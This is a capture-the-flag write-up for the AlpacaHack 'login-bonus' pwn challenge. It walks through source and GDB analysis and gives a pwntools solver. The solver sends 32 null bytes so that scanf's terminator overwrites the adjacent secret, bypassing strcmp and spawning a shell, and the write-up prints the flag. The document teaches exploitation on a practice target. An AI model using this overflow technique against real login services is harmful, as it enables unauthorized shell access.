Hello guys! In this blog post, I solved the Daily AlpacaHack pwn challenge. Iβm still learning pwn, so this write-up focuses on my thought process, the mistakes I made along the way, and how I eventually solved them. π
Description
Guess my password.nc 34.170.146.252 6555https://alpacahack.com/daily/challenges/login-bonusInitial Analysis
First, download the challenge files and extract them locally for inspection.
βββ(chjwooγΏhackbox)-[~/β¦/alpacahack/pwn/login-bonus/login-bonus]ββ$ lscompose.yaml Dockerfile flag.txt login login.c
βββ(chjwooγΏhackbox)-[~/β¦/alpacahack/pwn/login-bonus/login-bonus]ββ$ file loginlogin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
βββ(chjwooγΏhackbox)-[~/β¦/alpacahack/pwn/login-bonus/login-bonus]ββ$ checksec login[*] '/mnt/hgfs/cybersec/ctfs/alpacahack/pwn/login-bonus/login-bonus/login' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: NoThis confirms that the binary is a 64-bit ELF with the following properties:
- PIE enabled β Code addresses are randomized at runtime
- NX enabled β The stack is non-executable
- Full RELRO β GOT entries are read-only
- No stack canary β Stack overflows are not detected
- Not stripped β Symbols are preserved, simplifying analysis
Source code analysis
Letβs take a closer look at the source code.
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/random.h>
#define debug_report(fmt, ...) printf("[DEBUG] " fmt "\n", ##__VA_ARGS__)
char password[32];char secret[32];
int main() { /* Input password */ printf("Password: "); scanf("%[^\n]", password);
/* Check password */ debug_report("Authenticating..."); if (strcmp(password, secret)) { puts("[-] Wrong password"); debug_report("'%s' != '%s'", password, secret);
} else { puts("[+] Success!"); system("/bin/sh"); }
return 0;}
__attribute__((constructor))void setup() { int seed; setbuf(stdin, NULL); setbuf(stdout, NULL);
/* Generate random password */ debug_report("Generating secure password..."); getrandom(&seed, sizeof(seed), 0); srand(seed); for (size_t i = 0; i < 16; i++) secret[i] = 'A' + (rand() % 26);}The program asks the user for a password and compares it against a randomly generated secret. If the comparison succeeds, it spawns a shell.
- Two global buffers:
password[32]andsecret[32]are stored adjacently in memory. - Random secret generation: The
setup()function (called beforemaindue to__attribute__((constructor))) generates a random 16-character secret - Input validation: The program uses
scanf("%[^\n]", password)to read user input - Authentication: Success requires
strcmp(password, secret) == 0
Dynamic Analysis using GDB
To better understand the runtime behavior, letβs analyze the binary using GDB. After loading the binary, list the available functions and focus on main().
βββ(chjwooγΏhackbox)-[~/β¦/alpacahack/pwn/login-bonus/login-bonus]ββ$ gdb-gef loginReading symbols from login...(No debugging symbols found in login)Error while writing index for `/mnt/hgfs/cybersec/ctfs/alpacahack/pwn/login-bonus/login-bonus/login': No debugging symbolsGEF for linux ready, type `gef' to start, `gef config' to configure93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3.13gefβ€ info functionsAll defined functions:
Non-debugging symbols:0x0000000000001000 _init0x0000000000001030 puts@plt0x0000000000001040 setbuf@plt0x0000000000001050 system@plt0x0000000000001060 printf@plt0x0000000000001070 srand@plt0x0000000000001080 strcmp@plt0x0000000000001090 __isoc99_scanf@plt0x00000000000010a0 getrandom@plt0x00000000000010b0 rand@plt0x00000000000010c0 __cxa_finalize@plt0x00000000000010d0 _start0x0000000000001100 deregister_tm_clones0x0000000000001130 register_tm_clones0x0000000000001170 __do_global_dtors_aux0x00000000000011b0 frame_dummy0x00000000000011b9 main0x0000000000001279 setup0x0000000000001330 __libc_csu_init0x0000000000001390 __libc_csu_fini0x0000000000001394 _finiNow disassemble the main function.
gefβ€ disas mainDump of assembler code for function main: 0x00000000000011b9 <+0>: push rbp 0x00000000000011ba <+1>: mov rbp,rsp 0x00000000000011bd <+4>: lea rax,[rip+0xe44] # 0x2008 0x00000000000011c4 <+11>: mov rdi,rax 0x00000000000011c7 <+14>: mov eax,0x0 0x00000000000011cc <+19>: call 0x1060 <printf@plt> 0x00000000000011d1 <+24>: lea rax,[rip+0x2e68] # 0x4040 <password> 0x00000000000011d8 <+31>: mov rsi,rax 0x00000000000011db <+34>: lea rax,[rip+0xe31] # 0x2013 0x00000000000011e2 <+41>: mov rdi,rax 0x00000000000011e5 <+44>: mov eax,0x0 0x00000000000011ea <+49>: call 0x1090 <__isoc99_scanf@plt> 0x00000000000011ef <+54>: lea rax,[rip+0xe23] # 0x2019 0x00000000000011f6 <+61>: mov rdi,rax 0x00000000000011f9 <+64>: call 0x1030 <puts@plt> 0x00000000000011fe <+69>: lea rax,[rip+0x2e5b] # 0x4060 <secret> 0x0000000000001205 <+76>: mov rsi,rax 0x0000000000001208 <+79>: lea rax,[rip+0x2e31] # 0x4040 <password> 0x000000000000120f <+86>: mov rdi,rax 0x0000000000001212 <+89>: call 0x1080 <strcmp@plt> 0x0000000000001217 <+94>: test eax,eax 0x0000000000001219 <+96>: je 0x1254 <main+155> 0x000000000000121b <+98>: lea rax,[rip+0xe11] # 0x2033 0x0000000000001222 <+105>: mov rdi,rax 0x0000000000001225 <+108>: call 0x1030 <puts@plt> 0x000000000000122a <+113>: lea rax,[rip+0x2e2f] # 0x4060 <secret> 0x0000000000001231 <+120>: mov rdx,rax 0x0000000000001234 <+123>: lea rax,[rip+0x2e05] # 0x4040 <password> 0x000000000000123b <+130>: mov rsi,rax 0x000000000000123e <+133>: lea rax,[rip+0xe01] # 0x2046 0x0000000000001245 <+140>: mov rdi,rax 0x0000000000001248 <+143>: mov eax,0x0 0x000000000000124d <+148>: call 0x1060 <printf@plt> 0x0000000000001252 <+153>: jmp 0x1272 <main+185> 0x0000000000001254 <+155>: lea rax,[rip+0xe01] # 0x205c 0x000000000000125b <+162>: mov rdi,rax 0x000000000000125e <+165>: call 0x1030 <puts@plt> 0x0000000000001263 <+170>: lea rax,[rip+0xdff] # 0x2069 0x000000000000126a <+177>: mov rdi,rax 0x000000000000126d <+180>: call 0x1050 <system@plt> 0x0000000000001272 <+185>: mov eax,0x0 0x0000000000001277 <+190>: pop rbp 0x0000000000001278 <+191>: retEnd of assembler dump.At offset main+86, the program prepares to call strcmp(password, secret):
rdiβ pointer topasswordrsiβ pointer tosecret
This confirms the exact point where authentication occurs.
Solution
My first approach was to bypass the authentication locally using GDB by manipulating registers at runtime. I set a breakpoint just before the strcmp call:
gefβ€ break *main+86Breakpoint 1 at 0x120fgefβ€ runStarting program: /mnt/hgfs/cybersec/ctfs/alpacahack/pwn/login-bonus/login-bonus/login[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".[DEBUG] Generating secure password...Password: AAAAAAAOnce the breakpoint was hit, I inspected the registers and memory.
[ Legend: Modified register | Code | Heap | Stack | String ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ$rax : 0x0000555555558040 β 0x0041414141414141 ("AAAAAAA"?)$rbx : 0x00007fffffffdce8 β 0x00007fffffffe06e β "/mnt/hgfs/cybersec/ctfs/alpacahack/pwn/login-bonus[...]"$rcx : 0x00007ffff7eab936 β <write+0016> add rsp, 0x18$rdx : 0x0$rsp : 0x00007fffffffdbd0 β 0x0000000000000001$rbp : 0x00007fffffffdbd0 β 0x0000000000000001$rsi : 0x0000555555558060 β "LHSVBWWKDYODUQDY"$rdi : 0x00007ffff7f907b0 β 0x0000000000000000$rip : 0x000055555555520f β <main+0056> mov rdi, rax$r8 : 0x0$r9 : 0x0$r10 : 0x0$r11 : 0x202$r12 : 0x0$r13 : 0x00007fffffffdcf8 β 0x00007fffffffe0b3 β 0x5245545f5353454c ("LESS_TER"?)$r14 : 0x00007ffff7ffd000 β 0x00007ffff7ffe310 β 0x0000555555554000 β 0x00010102464c457f$r15 : 0x0$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x00007fffffffdbd0β+0x0000: 0x0000000000000001 β $rsp, $rbp0x00007fffffffdbd8β+0x0008: 0x00007ffff7dd0ca8 β <__libc_start_call_main+0078> mov edi, eax0x00007fffffffdbe0β+0x0010: 0x00007ffff7f8f5c0 β 0x00000000fbad28870x00007fffffffdbe8β+0x0018: 0x00005555555551b9 β <main+0000> push rbp0x00007fffffffdbf0β+0x0020: 0x00000001ffffdc300x00007fffffffdbf8β+0x0028: 0x00007fffffffdce8 β 0x00007fffffffe06e β "/mnt/hgfs/cybersec/ctfs/alpacahack/pwn/login-bonus[...]"0x00007fffffffdc00β+0x0030: 0x00007fffffffdce8 β 0x00007fffffffe06e β "/mnt/hgfs/cybersec/ctfs/alpacahack/pwn/login-bonus[...]"0x00007fffffffdc08β+0x0038: 0x714fb311d07805a9βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ 0x5555555551fe <main+0045> lea rax, [rip+0x2e5b] # 0x555555558060 <secret> 0x555555555205 <main+004c> mov rsi, rax 0x555555555208 <main+004f> lea rax, [rip+0x2e31] # 0x555555558040 <password>ββ 0x55555555520f <main+0056> mov rdi, rax 0x555555555212 <main+0059> call 0x555555555080 <strcmp@plt> 0x555555555217 <main+005e> test eax, eax 0x555555555219 <main+0060> je 0x555555555254 <main+155> 0x55555555521b <main+0062> lea rax, [rip+0xe11] # 0x555555556033 0x555555555222 <main+0069> mov rdi, raxβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ[#0] Id 1, Name: "login", stopped 0x55555555520f in main (), reason: BREAKPOINTβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x55555555520f β main()βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββgefβ€ x/s $rsi0x555555558060 <secret>: "LHSVBWWKDYODUQDY"gefβ€ x/s $rax0x555555558040 <password>: "AAAAAAA"At this point:
$rsicontains the randomly generated secret: βLHSVBWWKDYODUQDYβ$raxpoints to my input buffer: βAAAAAAAβ
The next instruction (mov rdi, rax) will set rdi to point to password, then strcmp(password, secret) will be called.
Hereβs the trick: if I make both arguments passed to strcmp contain the same value, the function will return 0, since the strings are equal.
gefβ€ set $rax = $rsigefβ€ cContinuing.[+] Success![Detaching after vfork from child process 3259]$ whoamichjwoo$By setting rax = rsi, when the instruction mov rdi, rax is executed, both rdi and rsi end up pointing to the same string, secret. As a result, the comparison becomes strcmp(secret, secret), which returns 0, allowing us to bypass authentication.
The Problem with Remote Exploitation
This method relies entirely on debugger control, which is unavailable on the remote server:
- We cannot attach GDB remotely
- We cannot modify registers during execution
- The exploit must work purely through standard input/output
I needed to find a different exploitation method that works remotely.
Re-examining the source code, I noticed the debug output:
debug_report("'%s' != '%s'", password, secret);This debug statement leaks both the user input and the secret. Testing this remotely confirms the leak:
βββ(chjwooγΏhackbox)-[~/β¦/alpacahack/pwn/login-bonus/login-bonus]ββ$ nc 34.170.146.252 6555[DEBUG] Generating secure password...Password: chjwoo[DEBUG] Authenticating...[-] Wrong password[DEBUG] 'chjwoo' != 'CSAENYYJPWPKRCXI'The secret is leaked! But thereβs a problem: the secret is randomly generated on each connection. If I reconnect to send the leaked secret, I get a different random secret. I decided to test what happens when sending exactly 32 bytes (the size of the password buffer):
βββ(chjwooγΏhackbox)-[/mnt/β¦/alpacahack/pwn/login-bonus/login-bonus]ββ$ pythonPython 3.13.9 (main, Oct 15 2025, 14:56:22) [GCC 15.2.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> print("A"*32)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
βββ(chjwooγΏhackbox)-[~/β¦/alpacahack/pwn/login-bonus/login-bonus]ββ$ nc 34.170.146.252 6555[DEBUG] Generating secure password...Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[DEBUG] Authenticating...[-] Wrong password[DEBUG] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' != ''Waitβ¦ the secret is now an empty string!
This reveals a critical vulnerability. When scanf reads 32 bytes:
scanf("%[^\n]", password)reads 32 bytes intopassword[0..31]scanfautomatically appends a null terminator atpassword[32]- Since
passwordandsecretare adjacent,password[32]overlaps withsecret[0] - The null byte overwrites
secret[0], makingsecretappear empty strcmpnow seessecretas""
If we can make both password and secret appear empty, authentication will succeed. We achieve this by sending 32 null bytes, ensuring:
passwordstarts with\x00secret[0]is overwritten with\x00
So this is my final solver:
from pwn import *
HOST = '34.170.146.252'PORT = 6555
io = remote(HOST, PORT)io.recvuntil(b'Password: ')io.send(b'\x00' * 32 + b'\n')io.interactive()Hereβs what happens:
scanfreads 32 null bytes intopassword- The terminating null byte overwrites
secret[0] - Both strings effectively become empty
strcmp("","")returns 0- Authentication succeeds and a shell is spawned
βββ(chjwooγΏhackbox)-[~/β¦/alpacahack/pwn/login-bonus/login-bonus]ββ$ python solver.py[+] Opening connection to 34.170.146.252 on port 6555: Done[*] Switching to interactive mode[DEBUG] Authenticating...[+] Success!$ lsbinbootdevetcflag-d592fd27eb4de74af194fda7990796ec.txthomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvar$ cat flag-d592fd27eb4de74af194fda7990796ec.txtAlpaca{h0w_d1d_U_gu3s5_i7}$Flag
Alpaca{h0w_d1d_U_gu3s5_i7}